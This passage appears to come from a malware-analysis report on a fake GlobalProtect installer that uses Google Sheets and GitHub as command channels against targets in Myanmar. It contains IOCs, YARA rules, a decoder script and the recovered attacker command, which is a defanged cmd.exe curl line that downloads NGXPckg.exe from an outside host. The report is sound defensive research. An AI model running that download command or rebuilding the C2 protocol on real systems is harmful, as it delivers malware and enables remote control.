This is a useful analytical control. A hostname appearing inside a suspicious process does not automatically belong to the attacker. Certificate validation, proxy discovery, operating-system services, and loaded dependencies can generate background traffic. In this case, c.pki.goog is excluded from the C2 assessment.

MalwareINFO evidence workflow

What the Deep API Trace sessions observed

The short initial Deep API Trace run retained 524 events and helped identify where to place the next breakpoints and captures, but it was not the source of the main network findings. The decisive GlobalProtect trace was session api_0459ae405ab09f4e1a161c393bcf7e0f, bound to PID 4536 and the same executable SHA-256. From 2026-09-15T08:23:59Z until process exit at 08:24:21Z, it retained 3,568 timeline records, including 2,729 exact API observations with zero reported drops. That session supplied the C13 request, CreateProcessW, pipe reads and D13 request described below. A separate trace followed NGXPckg.exe. For a broader explanation of the collection method, see Understanding Malware INFO Deep API Trace.

From live process capture to reviewable memory evidence

MalwareINFO Process Memory Capture was used separately to preserve the running process. It produced a completed Full User-Mode Dump of the x64 GlobalProtect.exe process, PID 7268. The capture manifest bound the artifact to the process creation identity, executable path, architecture, file identity and exact executable SHA-256.

The supplied evidence archive had SHA-256 f4531d6c4f7d675fa297672ad7fd82fa49d943e360e078bcf0bb65318d59dec8 and contained one file, memory-full.dmp. After extraction, the dump identity was independently recomputed before analysis rather than trusted from its filename.

The dump was 71,815,859 bytes with SHA-256:

4f12bac08422ba0f7a16c30b94572953f6a9640403f043b7c3bf3838a0c5cafa

This binding records which process was captured and reduces the risk of treating evidence from another execution as evidence from this one. It does not, by itself, establish maliciousness. Process memory can also contain credentials, documents, decrypted content, tokens and other sensitive data; the dump must be handled as confidential evidence and must not be shared publicly or with unauthorized parties. See Process Memory Capture: Preserving and Analyzing Live-Process Evidence for the operational workflow and privacy boundary.

MalwareINFO Payload & Memory Analyzer then examined the dump locally under a static-only safety contract. It did not execute the dump or copy the raw artifact into the report package. The resulting package contained 77,474 normalized evidence records across six manifest-hashed chunks, retained 50,000 bounded strings, and produced eight capability findings for analyst review.

The minidump inventory reported 56 loaded images, 12 threads and 618 memory regions. Of those regions, 435 were committed, 114 were executable and nine were private executable regions. These are navigation and prioritization measurements. Private executable memory is not automatic proof of shellcode, process injection, or malicious execution.

The retained strings included the investigated ip-api.com URL, Cloudflare Worker path, Google OAuth/Sheets artifacts, and command-shell terms. The Analyzer grouped related artifacts into hypotheses including network communication, persistence, command execution, cryptographic operations, and process-memory modification potential. These findings are leads, not proof that every capability ran. The package recorded zero runtime-observed API calls.

Together, the two MalwareINFO workflows provided a practical working set: Process Memory Capture preserved the selected process, and Payload & Memory Analyzer turned the dump into searchable strings, memory regions and linked findings. We used those results as a map back to the executable and debugger—not as an automatic verdict. For further detail, see From Captured Memory to Defensible Evidence.

Recovered attacker configuration

The table below gathers the configuration and protocol values that are useful for investigation. Authentication material, the active spreadsheet identifier and victim-linked values are omitted; the remaining infrastructure and identifiers are published in defanged or directly searchable form.

ItemPublic-safe resultEvidence classBoundary
Package identityGlobalProtect VPN 11.5.0 / PaloAltoStatic capabilityAttacker-controlled metadata, not vendor verification
Install directoryC:\Program Files\PaloAlto\GlobalProtect VPNStatic capability and host corroborationCase-specific path
Geolocationip-api.com/json, SheetsBot/1.0, Myanmar conditionObservedShared service; analyst IP omitted
Worker gatenumbered hewlett-pack1 through hewlett-pack9 family and /config0Runtime memory; hewlett-pack1 DNS-observedHosts 2-9 were not network-observed; PCAP response body remained encrypted
Gate requestSheetsBot/1.0 and populated X-Bot-Secret; value withheldRuntime-memory observedHeader is strongly supported as gate-authentication material; server logic remains unknown
Configuration responsegoogle_creds, spreadsheet identifier and service-account fieldsDebugger observed via InternetReadFileReusable credentials and resource identifiers withheld
Google Cloud projectelliptical-tree-505904-p7Debugger observedUsage does not prove ownership or account provenance
Service account[email protected]Debugger observedInfrastructure identifier, not a human attacker identity
Google client ID101714939433347726433Debugger observedClient identifier, not an OAuth token or victim ID
Spreadsheet IDRecovered; exact value withheldDebugger observedLater A1/B1/C1 activity was observed; the resource value remains withheld
Private-key IDRecovered; exact value withheldDebugger observedComplete private key also recovered and withheld
OAuth authorizationVerified RS256 assertion, successful response and populated Bearer tokenDebugger observed and Runtime-memory observedReusable token withheld; authorization scope beyond the captured process is not asserted
Sheets channel, earlier sessionA1 read, B1 update and C1 pollRuntime-memory observedThe retained C1 response contained no command; no D1 write was observed in that session
Sheets channel, later sessionC13 command material and D13 result pathObserved at API/runtime boundaryD13 request API success and response bytes alone do not establish remote persistence
Separate Sheet read-backA1:A15 identifiers, B1:B15 metadata, C1:C14 identical encrypted values, and D13 outputAnalyst read-backThe mutable Sheet state is later evidence; it does not revise the earlier empty C1 response or identify the writer of D13
Command handlinghidden child process with combined output collectionObserved in later GlobalProtect sessionCreateProcessW succeeded and 628 pipe bytes were read; completed download and payload identity were not verified
Startup artifactsGlobalProtectVPN and GlobalProtectVPNUpdateStatic and host evidenceValidate referenced action and identity

Campaign fingerprints and clustering pivots

Useful pivots include the two MSI GUIDs, the exact hewlett-pack1 DNS hostname, the memory-resident numbered Worker pattern, /config0, SheetsBot/1.0, elliptical-tree-505904-p7, the recovered service-account identifier, client ID, the -tk- B-column metadata marker, the RunOnce and task names, the install directory, the four Sheets ranges and the 18-second build/package timestamp interval. Analysts should search for combinations across packages, endpoints and permitted telemetry. A Worker family plus the gate-header name, campaign user agent, Google project identity, service account, Sheets protocol and AmountOfFreeDiskSpace KDF input has more clustering value than any field alone. Only hewlett-pack1 has retained network evidence in this case.

Clustering is not attribution. Similarities may result from shared builders, copied code, reused infrastructure or deliberate imitation. Geography is especially weak by itself. Kaspersky's public HoneyMyte/CoolClient reporting provides regional context, but its reported PlugX, DLL side-loading, injected process and kernel-driver chain were not established in this case. Public SideWinder reporting supplies a closer victimology and delivery comparison, while the DellHeuristics/NGXPckg protocol overlap supplies a case-local pivot; neither establishes actor ownership.

Evidence boundaries separating the earlier empty C1 poll from the later C13 command, child-process, output-collection, and D13 submission-attempt evidence
Evidence boundaries separating the earlier empty C1 poll from the later C13 command, child-process, output-collection, and D13 submission-attempt evidence

Evidence matrix

ClaimEvidence levelBasis
The supplied MSI and embedded x64 executable are unsignedVerified staticAuthenticode and PE/package inspection
The executable checked a Myanmar geolocation resultObservedPCAP request/response, process memory and static control-flow artifacts
The process contacted Cloudflare and Google infrastructureObservedDNS/TCP packet evidence and Process Monitor network events
hewlett-pack1 was resolved in the retained sessionsObservedA-record query and response in each PCAP
Numbered Worker hosts 1-9 were materialized by the processObserved data in runtime artifactFull-dump private-memory regions; only host 1 was DNS-observed
A /config0 request with the campaign user agent and populated secret header was constructedRuntime-memory observedCoherent writable private-memory request material; secret withheld
Cloudflare returned configuration JSON to the processDebugger observedPlaintext InternetReadFile response buffer; PCAP body remained encrypted by TLS
An actual spreadsheet ID and Google credential object were receivedDebugger observedResponse fields and matching writable private-memory data; sensitive values withheld where necessary
Google project ID, service-account identity and client ID were receivedDebugger observedValues recovered from the plaintext configuration response
Complete private-key material was receivedDebugger observed; withheldComplete credential delimiters and content were present; no key material is published
An RS256 JWT assertion was constructed and signedRuntime-memory observedDecoded claim structure and signature verified against the recovered key; complete token withheld
A JWT bearer-grant request body was constructedRuntime-memory observedGrant type, assertion parameter and form-encoded request material in later captures
An OAuth access token was obtainedDebugger observed; runtime-memory corroboratedSuccessful response metadata and populated token/Bearer material; token withheld
Sheet1!A1 was readRuntime-memory observedExact request and response-shaped value material; returned value withheld
Sheet1!B1 was updatedRuntime-memory observedResponse reports one updated row, column and cell
Sheet1!C1 was polledRuntime-memory observedExact request and a retained response with no command value
Sheet1!D1 result submission occurredNot observedNo successful D1 request or update response recovered
A later session retrieved command material from Sheet1!C13ObservedExact request, 320 response bytes, retained cell material and independently reproduced offline decryption
GlobalProtect created the commanded shell childObservedEvent 3213 recorded successful CreateProcessW, child PID 7040 and thread ID 1668
GlobalProtect collected child outputObserved at API levelEight nonzero ReadFile returns totaled 628 bytes before a zero-byte read
Sheet1!D13 result submission was attemptedObserved attemptToken-bearing request API returned true with a 2,529-byte optional body; 166 response bytes were retained
Column A contained row identifiersConfirmed by separate read-backA1:A15 held ten-character alphanumeric values; A1 and A7 matched, so unique device-to-row mapping was not established.
Column B contained geolocation metadataConfirmed by separate read-backFourteen B cells held geolocation JSON followed by a -tk- suffix; B14 held only the suffix. The marker was not part of the observed A values.
Column C contained command materialConfirmed by separate read-backC1:C14 held the same 224-character encrypted value; this later state does not negate the earlier empty C1 poll.
D13 contained command outputConfirmed by separate read-backOnly D13 was populated in D1:D16. Two reads decoded to UTF-16LE curl progress and connection errors with different elapsed times; neither value is byte-matched to the traced submission.
The requested second stage reached the VMConfirmedGlobalProtect.exe launched the recovered curl command, and NGXPckg.exe was present at the commanded C:\ProgramData\USOShared destination
The analyzed NGXPckg.exe came from the recovered delivery sourceAnalyst confirmedWe copied the VM-deployed file for analysis and independently downloaded the same recovered URL; the analyzed file has SHA-256 2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a
NGXPckg.exe used the observed GitHub workflowObserved with gapsIts trace retained geolocation, raw-GitHub discovery, Contents API marker, token-bearing PUT, same-path GET, and local staging; remote mutation was not verified
The sample belongs to HoneyMyte or CoolClientNot supportedNo code, component, IOC or operational linkage sufficient for attribution
The operation is attributable to SideWinderNot provenMyanmar/South Asia victimology, geo-restriction, phishing delivery, and the indirect DellHeuristics/NGXPckg protocol bridge create a credible investigative lead, but no exact actor-specific IOC, malware lineage, or operator identity was established

ATT&CK context

TechniqueCase statusScope
T1566.002: Spearphishing LinkIncident-reportedEmail link led to a Google Sites landing page; private message evidence is not published.
T1036.005: Match Legitimate Resource Name or LocationVerified staticGlobalProtect branding and naming were used by an unsigned, behaviorally unrelated package.
T1218.007: MsiexecInstallation contextA Windows Installer package launched the embedded executable; use of msiexec is not malicious by itself.
T1547.001: Registry Run Keys / Startup FolderPackage/host evidenceGlobalProtectVPN RunOnce entries referenced the installed executable.
T1053.005: Scheduled TaskPackage/host evidenceA GlobalProtectVPNUpdate task artifact requested scheduled execution.
T1016.001: Internet Connection DiscoveryObservedThe target requested public IP and country information from ip-api.com.
T1102: Web ServiceObserved plus runtime-memory corroboratedCloudflare configuration, OAuth token issuance, earlier A1/B1/C1 activity, later C13 retrieval and D13 submission attempt, plus the separate GitHub workflow were retained. A later D13 read-back confirmed stored command output, without attributing it to the traced write.
T1071.001: Web ProtocolsObserved with gapsHTTP/HTTPS APIs carried geolocation, configuration, Sheets, raw-GitHub and GitHub Contents API traffic; not every response body or HTTP status was retained.
T1059.003: Windows Command ShellObserved in later GlobalProtect sessionC13 material produced a cmd.exe /c command, CreateProcessW succeeded, and the parent collected 628 bytes from the child pipe.
T1105: Ingress Tool TransferConfirmed in the analysis VMThe recovered command downloaded the follow-on file to C:\ProgramData\USOShared\NGXPckg.exe; the deployed file was copied and analyzed.
T1497.003: Time Based EvasionStatic plus supporting runtime timingNGXPckg.exe implements a CPU-intensive five-minute delay; its trace's first exact API evidence appeared about five minutes after collection began.

ATT&CK mappings organize behavior. They do not add attribution, severity, intent, or response authority.

Detection and response opportunities

Defenders should hunt for the combined pattern rather than broad cloud-service indicators:

  • exact MSI and executable hashes;
  • an unsigned GlobalProtect.exe installed under C:\Program Files\PaloAlto\GlobalProtect VPN\;
  • GlobalProtect.exe /Install launched from an MSI custom action;
  • local bcrypt.dll, WININET.dll, or CRYPT32.dll beside the executable, verified by path, signer and hash;
  • GlobalProtectVPN values under HKCU or HKLM RunOnce;
  • a scheduled task named GlobalProtectVPNUpdate;
  • SheetsBot/1.0 requesting ip-api.com/json;
  • the exact rare Worker hostname followed by Google OAuth or Sheets API traffic from the same executable;
  • the recovered Google Cloud project, service-account identifier and client ID when correlated with the rare Worker family and campaign strings; and
  • a GlobalProtect.exe child cmd.exe /c curl sequence targeting cctvcam[.]serveblog[.]net/weblogin/ngxpkg and C:\ProgramData\USOShared\NGXPckg.exe;
  • the unsigned NGXPckg.exe hash, deployed path, five-minute delay, and correlated raw-GitHub/GitHub Contents API sequence; and
  • authenticated GitHub PUT followed by a same-path GET, while treating API success as distinct from HTTP status and remote-state verification.

If the chain appears on a production endpoint, follow the organization's incident-response plan. Isolate affected systems in a coordinated manner, preserve volatile evidence when safe, retain the installer and relevant logs, and investigate associated accounts and hosts. The CISA StopRansomware Guide emphasizes both prompt isolation and preservation of volatile evidence such as memory and security logs. Do not upload memory dumps to public services: they may contain credentials, personal data, documents and decrypted application content.

Defensive YARA hunting rules

The first rule was published with the original September 2 investigation. Its metadata date remains September 2 even though the surrounding article has since been updated. It combines the gate path and header name, all four spreadsheet ranges, all three protocol markers, and at least two campaign-specific artifacts. The condition remains file-focused: the C13 command was supplied remotely and is therefore not added as an embedded static string.

rule MALWAREINFO_Fake_GlobalProtect_Myanmar_Sheets_C2
{
    meta:
        description = "Detects the investigated Fake GlobalProtect Myanmar Google Sheets C2 implementation"
        author = "Malware INFO Research Team"
        date = "2026-09-02"
        reference_sample = "33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8c"
        confidence = "High for this sample; analyst correlation required"
        scope = "Hunting aid; requires analyst correlation"

    strings:
        $gate_path = "/config0" ascii
        $gate_header = "X-Bot-Secret" ascii
        $gate_creds = "google_creds" ascii

        $sheet_a = "Sheet1!A" ascii
        $sheet_b = "Sheet1!B" ascii
        $sheet_c = "Sheet1!C" ascii
        $sheet_d = "Sheet1!D" ascii

        $protocol_val = "val-" ascii
        $protocol_command = "command-" ascii
        $protocol_output = "out-" ascii

        $campaign_agent = "SheetsBot/1.0" ascii
        $campaign_kdf = "AmountOfFreeDiskSpace" ascii
        $campaign_task = "GlobalProtectVPNUpdate" wide ascii

    condition:
        uint16(0) == 0x5a4d and
        filesize < 2MB and
        all of ($gate_*) and
        all of ($sheet_*) and
        all of ($protocol_*) and
        2 of ($campaign_*)
}

The follow-on binary is structurally different enough to deserve its own rule. The second rule keys on the three embedded coordination markers recovered during reverse engineering, then requires two of the local-stage or request-path artifacts. It does not use the decrypted fallback IP address or GitHub hostnames because those values are not present as plaintext in the file.

rule MALWAREINFO_NGXPckg_GitHub_C2
{
    meta:
        description = "Detects the investigated NGXPckg.exe GitHub-coordinated follow-on payload"
        author = "Malware INFO Research Team"
        date = "2026-09-15"
        reference_sample = "2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a"
        confidence = "High for this sample; analyst correlation required"
        scope = "Hunting aid; requires analyst correlation"

    strings:
        $marker_discovery = "Test1234" ascii
        $marker_command = "Readme9823" ascii
        $marker_mutex = "TM87945" ascii wide

        $request_fallback = "/weblanguage.php" wide
        $request_license = "/License" wide

    condition:
        uint16(0) == 0x5a4d and
        filesize < 1MB and
        all of ($marker_*) and
        2 of ($marker_mutex, $request_fallback, $request_license)
}

Both rules were syntax-checked with the repository's YARA library and matched their respective supplied executables. Neither rule matched a bounded smoke corpus of 50 Windows System32 PE files selected alphabetically under 2 MiB. That small corpus is not a false-positive guarantee. These are hunting aids, not standalone malware verdicts; analysts should validate file identity, signer, path, process ancestry, persistence and network context before taking action.

Indicators

Network indicators are defanged. Shared services are contextual and should not be blocked globally without correlation.

TypeIndicatorScope
SHA-256a124caa58d956c7430ecb8772a3794266235917670c5b56564342bd1456897e7Supplied MSI
SHA-25633d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8cEmbedded executable
Domainsheets-config-gate.hewlett-pack1[.]workers[.]devDNS query and response observed in the retained PCAPs
Domain patternsheets-config-gate.hewlett-pack{1..9}[.]workers[.]devFull-dump runtime-memory family; hosts 2-9 were not network-observed
URI/config0Correlate with the exact hostname and process
User agentSheetsBot/1.0Correlate with the process and destination sequence
Registry valueGlobalProtectVPN under HKCU/HKLM RunOnceVerify referenced executable identity
Scheduled taskGlobalProtectVPNUpdateVerify task action, creator and timestamps
PathC:\Program Files\PaloAlto\GlobalProtect VPN\GlobalProtect.exeCase-specific deceptive installation path
Contextual serviceip-api[.]com/jsonLegitimate shared geolocation service
Contextual serviceoauth2.googleapis[.]comLegitimate shared Google service; successful token issuance was observed only in the correlated target-process evidence
Contextual servicesheets.googleapis[.]comLegitimate shared Google service; correlate with observed A1/B1/C1 operations and exact process identity
SHA-2562fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559aUnsigned NGXPckg.exe copied from the VM deployment and independently reacquired from the recovered delivery URL
Domain / URIcctvcam[.]serveblog[.]net/weblogin/ngxpkgDefanged transfer source recovered from C13 command material
PathC:\ProgramData\USOShared\NGXPckg.exeDestination named by the recovered command; file creation and identity were not retained in the first-stage trace
Runtime service / URIraw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/Readme12Payload trace retained a 9-byte Test1234 response
Runtime service / URIraw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/infosource45Payload trace retained 65 response bytes; reusable secret material is withheld
Runtime service / URIapi.github[.]com/repos/faviconicons2/images/contents/LicensePayload trace retained the 11-byte Readme9823 marker
Alternate host5.230.254[.]220Decrypted payload configuration; runtime use was not observed
Local path%LOCALAPPDATA%\TM87945Payload trace observed a 16-byte write
Google Cloud project IDelliptical-tree-505904-p7Runtime-delivered CTI pivot; project ownership is not established
Service-account identifier[email protected]Campaign-used cloud identity; not a victim or human attacker email
Google client ID101714939433347726433Identifier associated with the recovered service-account object
Spreadsheet resource IDRecovered; exact value withheldActive resource identifier retained in the internal evidence ledger
Credential key IDRecovered; exact value withheldIdentifier retained internally; private key is not published

The memory-dump hash is retained in the internal evidence ledger but is not offered as a downloadable artifact. Publishing a dump would expose far more than an inert identifier.

Comparison with public HoneyMyte reporting

Kaspersky's August 2026 Securelist report, HoneyMyte upgrades CoolClient: the backdoor gets a kernel-mode rootkit, describes intrusions affecting several Asian countries, including Myanmar. Its analyzed chain used PlugX as an initial implant, a legitimate Sangfor application for DLL side-loading, encrypted stages, injection into synchost.exe, and a kernel-mode driver.

None of those defining components was established in this case. Our sample arrived as an MSI, installed an unsigned standalone executable, used GlobalProtect branding, and contained a Cloudflare/Google Sheets design. Myanmar relevance is not enough to connect two operations. This comparison supplies regional context and, more importantly, demonstrates why victim geography alone is weak attribution evidence.

Comparison with public SideWinder reporting

SideWinder is a more relevant investigative hypothesis than HoneyMyte, but it is not a proven attribution. Kaspersky's reporting on SideWinder activity in the second half of 2024 places Myanmar among the targeted countries and describes sustained interest in government, military, diplomatic, maritime and logistics organizations across South and Southeast Asia. Group-IB's earlier investigation likewise documents Myanmar targeting, phishing links and imitation websites. A Trellix 2026 case study adds a useful behavioral parallel: a professional email lure led through a link-based installer chain whose delivery was restricted by country. Those characteristics make targeted delivery, trusted-resource impersonation and geofencing relevant comparison points.

The strongest case-specific reason to investigate SideWinder is not geography alone. The recovered NGXPckg.exe reproduced the same distinctive GitHub sequence documented in our DellHeuristics investigation: public geolocation, raw-GitHub bootstrap discovery, the faviconicons2/images Contents API path, the License object, the Readme9823 continuation marker, a token-bearing randomized-path PUT, and a same-path GET. The DellHeuristics case has a separate, stronger SideWinder lead because its embedded 88.119.161[.]40 exactly matched a previously published Bangladesh e-GOV CIRT phishing IOC and fit later regional reporting. That does not transfer attribution automatically to this case.

The payload link is direct within the investigation: C13 named the delivery URL and destination, the file landed at that destination in the VM, and we copied and analyzed it. The remaining attribution question is different. Even exact protocol overlap between NGXPckg.exe and DellHeuristics.exe does not establish common code lineage, an operator, or a campaign. The SideWinder chains described in the public reports reviewed here generally used malicious Office documents or a ClickOnce lure, JavaScript/HTA stages, DLL side-loading, .NET loaders and StealerBot. This case instead begins with an unsigned MSI and standalone GlobalProtect-themed executable using Cloudflare and Google Sheets. No reviewed public report linked this case's hashes, domains, Google project, Readme9823, faviconicons2/images, or Sheets protocol directly to SideWinder.

The defensible assessment is therefore: SideWinder is a credible and more relevant investigative lead than HoneyMyte, but the available evidence does not support actor attribution. HoneyMyte remains useful as a negative regional comparison; SideWinder identifies the higher-value direction for additional intelligence collection.

Follow-on investigation: September 15 tasking and NGXPckg.exe

The September 15 run finally caught the tasking branch that the empty C1 session had missed. Session api_0459ae405ab09f4e1a161c393bcf7e0f followed GlobalProtect.exe PID 4536, SHA-256 33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8c, from 2026-09-15T08:23:59Z until process exit at 08:24:21Z. It retained 3,568 timeline records, including 2,729 exact API observations with zero reported drops.

A later Google Sheets session changes the earlier tasking assessment

Unlike the earlier Sheet1!C1 poll, this session found encrypted text in Sheet1!C13. C13 is the cell address, not a claim that this was the thirteenth connection or execution. Reverse engineering of GlobalProtect.exe gave us the decoding procedure:

  1. Interpret the C13 text as hexadecimal bytes.
  2. Use the first 16 decoded bytes as the CBC initialization vector.
  3. Use SHA-256("AmountOfFreeDiskSpace") as the 32-byte AES key.
  4. Decrypt the remaining bytes with AES-256-CBC and remove PKCS#7 padding.

The 112 decoded bytes produced a 90-byte plaintext command. To make that result independently reproducible without contacting any external service, the retained ciphertext and an offline decoder are published below. The command output remains defanged.

C13 response ciphertext and reproducible decoder

The C13 value came from the retained 320-byte response artifact response-67affd574f8c4ba5be444b138ac0849c.bin (SHA-256 C149E724AD568BF9CF77F09A37305F2B8D1DB1A47FDB4F4D9EE864025FB60DBB). The JSON identified the range as Sheet1!C13; its single value was the following 224-character hexadecimal string:

D852F3D2F7F54A27DB6A7B70C4B0B537D0A53002C2A7E8711799BBFE9B5714B2F6342B9DCB23E712A9F80F129E992985FCAD4AD74B6E9746B84C910ECD00815B41317A4DD9A9BF51A420A34CACD59143E2A009F99B439D7EB30B435EF4476A9F1333470F30966D4243E18E7F55946EAE

The following Python example requires the cryptography package. It only decodes and decrypts the supplied string in memory: it performs no network request, writes no payload, and launches no process. The recovered text is defanged immediately before printing.

from hashlib import sha256
import re

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7

c13_hex = (
    "D852F3D2F7F54A27DB6A7B70C4B0B537"
    "D0A53002C2A7E8711799BBFE9B5714B2"
    "F6342B9DCB23E712A9F80F129E992985"
    "FCAD4AD74B6E9746B84C910ECD00815B"
    "41317A4DD9A9BF51A420A34CACD59143"
    "E2A009F99B439D7EB30B435EF4476A9F"
    "1333470F30966D4243E18E7F55946EAE"
)

blob = bytes.fromhex(c13_hex)
iv, ciphertext = blob[:16], blob[16:]
key = sha256(b"AmountOfFreeDiskSpace").digest()

decryptor = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
padded = decryptor.update(ciphertext) + decryptor.finalize()

unpadder = PKCS7(128).unpadder()
plaintext = unpadder.update(padded) + unpadder.finalize()
text = plaintext.decode("utf-8")

# Defang URLs before printing so the example cannot be clicked accidentally.
safe_text = text.replace("https://", "hxxps://")
safe_text = re.sub(
    r"(?<=://)([^/]+)",
    lambda match: match.group(1).replace(".", "[.]"),
    safe_text,
)

print(f"Decoded bytes: {len(blob)}")
print(f"Plaintext bytes: {len(plaintext)}")
print(safe_text)

Validated output:

Decoded bytes: 112
Plaintext bytes: 90
curl hxxps://cctvcam[.]serveblog[.]net/weblogin/ngxpkg -o C:\programData\USOShared\NGXPckg.exe

The program prepended its embedded command-shell string, yielding the following execution intent:

c:\windows\system32\cmd.exe /c curl hxxps://cctvcam[.]serveblog[.]net/weblogin/ngxpkg -o C:\programData\USOShared\NGXPckg.exe

Event 3213 captured the transition from decoded text to execution. GlobalProtect.exe+0xAE59 called CreateProcessW with inherited pipe handles; the call succeeded and returned child PID 7040 and thread ID 1668. The empty C1 result remains true for the earlier run, but command execution was no longer only a capability reconstructed from code.

The parent read the inherited pipe eight times—1, 235, 1, 77, 1, 77, 1 and 235 bytes—for a total of 628 bytes, followed by a zero-byte read. It then sent a 2,529-byte body to Sheet1!D13 and received 166 response bytes. The trace establishes the submission attempt and response, but did not retain an HTTP result or a read-back. Separate analyst queries found D13 populated with hex-encoded UTF-16LE curl output reporting a connection failure; the two retained values differ in the reported elapsed time. That confirms column D's result-storage role and shows that the cell can change, but the different byte counts prevent us from identifying this trace as the source of either exact value.

The download also landed in the analysis VM at C:\ProgramData\USOShared\NGXPckg.exe. We copied that deployed file for static and runtime analysis and independently downloaded the same recovered URL to verify the acquisition path. The analyzed NGXPckg.exe is therefore the confirmed follow-on payload from this investigation, not an unrelated file inferred from its name.

New IOC: NGXPckg.exe and associated C2 infrastructure

The file copied from the VM's USOShared directory is 346,112 bytes and is not Authenticode-signed. We recomputed its SHA-256 directly from the executable. Network indicators below are defanged; shared services such as GitHub should be matched with the surrounding process, path, signer and request sequence.

IOC roleIndicatorEvidence scope
NGXPckg.exe SHA-2562fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559aUnsigned follow-on payload copied from the VM deployment and analyzed directly
Primary C2 service domainapi.github[.]comStatic capability and later runtime observation: GitHub Contents API marker retrieval, PUT, and same-path verification GET
Fallback discovery domainraw.githubusercontent[.]comStatic capability and later runtime observation: staged marker and configuration retrieval
Alternate C2 endpoint5.230.254[.]220Decrypted alternate host; runtime use was not observed
Delivery domaincctvcam[.]serveblog[.]netObserved in the decrypted C13 transfer command and independently used to reacquire the payload; distinct from its GitHub C2 service
Delivery URI/weblogin/ngxpkgObserved transfer source path in the decrypted C13 command

Here, api.github[.]com is the primary C2 service domain identified from NGXPckg.exe's static control flow. By contrast, cctvcam[.]serveblog[.]net is the delivery domain used by the first stage to request the second-stage executable. This distinction prevents a download host from being mislabeled as the payload's command-and-control service.

NGXPckg.exe behavior summary

After a CPU-intensive five-minute delay, the sample checks Internet connectivity and applies a Myanmar geolocation gate. It can obtain or derive configuration through raw GitHub content or an alternate host, poll GitHub Contents API paths for tasking, execute received commands through a hidden cmd.exe /c child process, capture stdout and stderr through an anonymous pipe, and return collected results through GitHub PUT requests. Static analysis established those capabilities; a separate MalwareINFO Pro Deep API Trace run confirmed the geolocation, raw-GitHub discovery, GitHub marker, token-bearing PUT, same-path verification GET, and local staging portions at runtime. Command execution by NGXPckg.exe itself was not observed in that run.

Static analysis details for NGXPckg.exe

The matching IDA database and decompiler output support the following offline findings:

  • Five-minute execution delay: WinMain adds 300000000000 nanoseconds to a monotonic time value and repeatedly performs cos, sin, sqrt, log and atan calculations until that deadline. This is a CPU-intensive time delay consistent with sandbox-evasion behavior; it is not proof that a particular sandbox was detected.
  • Connectivity and Myanmar gate: after the delay, the sample calls InternetGetConnectedState, decrypts ip-api[.]com, requests /json, extracts countryCode, and accepts the two-byte value MM or a response containing Myanmar. A nonmatching result opens a legitimate Microsoft support page as a decoy and exits.
  • Encrypted configuration: embedded Base64 strings are decoded and decrypted with an embedded 32-byte AES key, AES-256-CBC, a zero IV and PKCS#7 removal. Confirmed plaintexts include ip-api.com, raw.githubusercontent.com, api.github.com, faviconicons, 5.230.254.220, the prefix thetcoregorup, and c:\windows\system32\cmd.exe /c.
  • Fallback discovery: the code iterates numeric candidates 1 through 10 beneath a thetcoregorup prefix on raw.githubusercontent[.]com, requests paths ending in /collection/refs/heads/main/Readme12, looks for marker Test1234, then requests /collection/refs/heads/main/infosource45 and decrypts the returned content. The later Deep API Trace run observed both requests against thetcoregorup1/collection, a 9-byte Test1234 response and a 65-byte second response.
  • Alternate host path: when its fallback flag is set, the sample can use 5.230.254[.]220 and request /weblanguage.php.
  • GitHub command channel: the code decrypts api.github.com and the faviconicons prefix, then tries the repository family faviconicons{2..10}. In concrete terms, the marker paths run from /repos/faviconicons2/images/contents/License through /repos/faviconicons10/images/contents/License. A response containing Readme9823 selects the repository. The sample can then construct a per-host .txt path and issue authenticated GitHub Contents API GET and PUT requests. The repository names and paths are research indicators; only the reusable authorization token is withheld.
  • Command execution and collection: a dedicated routine creates an anonymous pipe, prepends the decrypted c:\windows\system32\cmd.exe /c string to received arguments, calls CreateProcessW with inherited stdout and stderr handles and CREATE_NO_WINDOW, then reads the output through ReadFile.
  • Local staging: the sample resolves local application data with SHGetFolderPathW, appends \TM87945, and reads a local value used by its request-building logic.

These findings show that the recovered follow-on payload implements its own delayed, Myanmar-gated command channel with multiple web-service discovery and fallback paths. The later runtime evidence confirms that several of those paths were active during the identified session. The analysis does not identify who operated the infrastructure or show that every embedded fallback was live.

Runtime confirmation from NGXPckg.exe

MalwareINFO Pro Deep API Trace session api_f128baa098cdd6caaf01f8a968a9eadd followed NGXPckg.exe PID 3352 at C:\ProgramData\USOShared\NGXPckg.exe. The executable identity in the retained process-memory evidence is SHA-256 2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a. Collection ran from 2026-09-15T10:06:48Z until the identity-bound target exited at 10:12:45Z. The session retained 2,511 events with zero reported drops.

The first exact API event appeared about five minutes after collection began, matching the delay reconstructed from the executable. The trace attached after process startup, so we use it to confirm the network sequence rather than to describe every startup instruction.

The retained WinHTTP sequence was:

OrderRuntime requestRetained resultAssessment
1GET http://ip-api[.]com/jsonSend, receive and read returned success; 297 bytes of JSON reported countryCode MMMyanmar geolocation gate input was received
2GET https://raw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/Readme12Send, receive and read returned success; 9 bytes contained Test1234Raw-GitHub discovery marker was received
3GET https://raw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/infosource45Send, receive and read returned success; 65 bytes were retainedBootstrap/configuration material was received; reversible secret material is withheld
4Authenticated GET https://api.github[.]com/repos/faviconicons2/images/contents/LicenseSend, receive and read returned success; 11 bytes contained Readme9823GitHub repository marker was received
5Authenticated PUT https://api.github[.]com/repos/faviconicons2/images/contents/ljrxpCM6T630uiZt/QWRtaW4%20.txtWinHttpSendRequest returned success with a 429-byte optional body; WinHttpReceiveResponse returned successA token-bearing write request reached successful API return boundaries, but HTTP status, server acknowledgement, and remote mutation were not verified
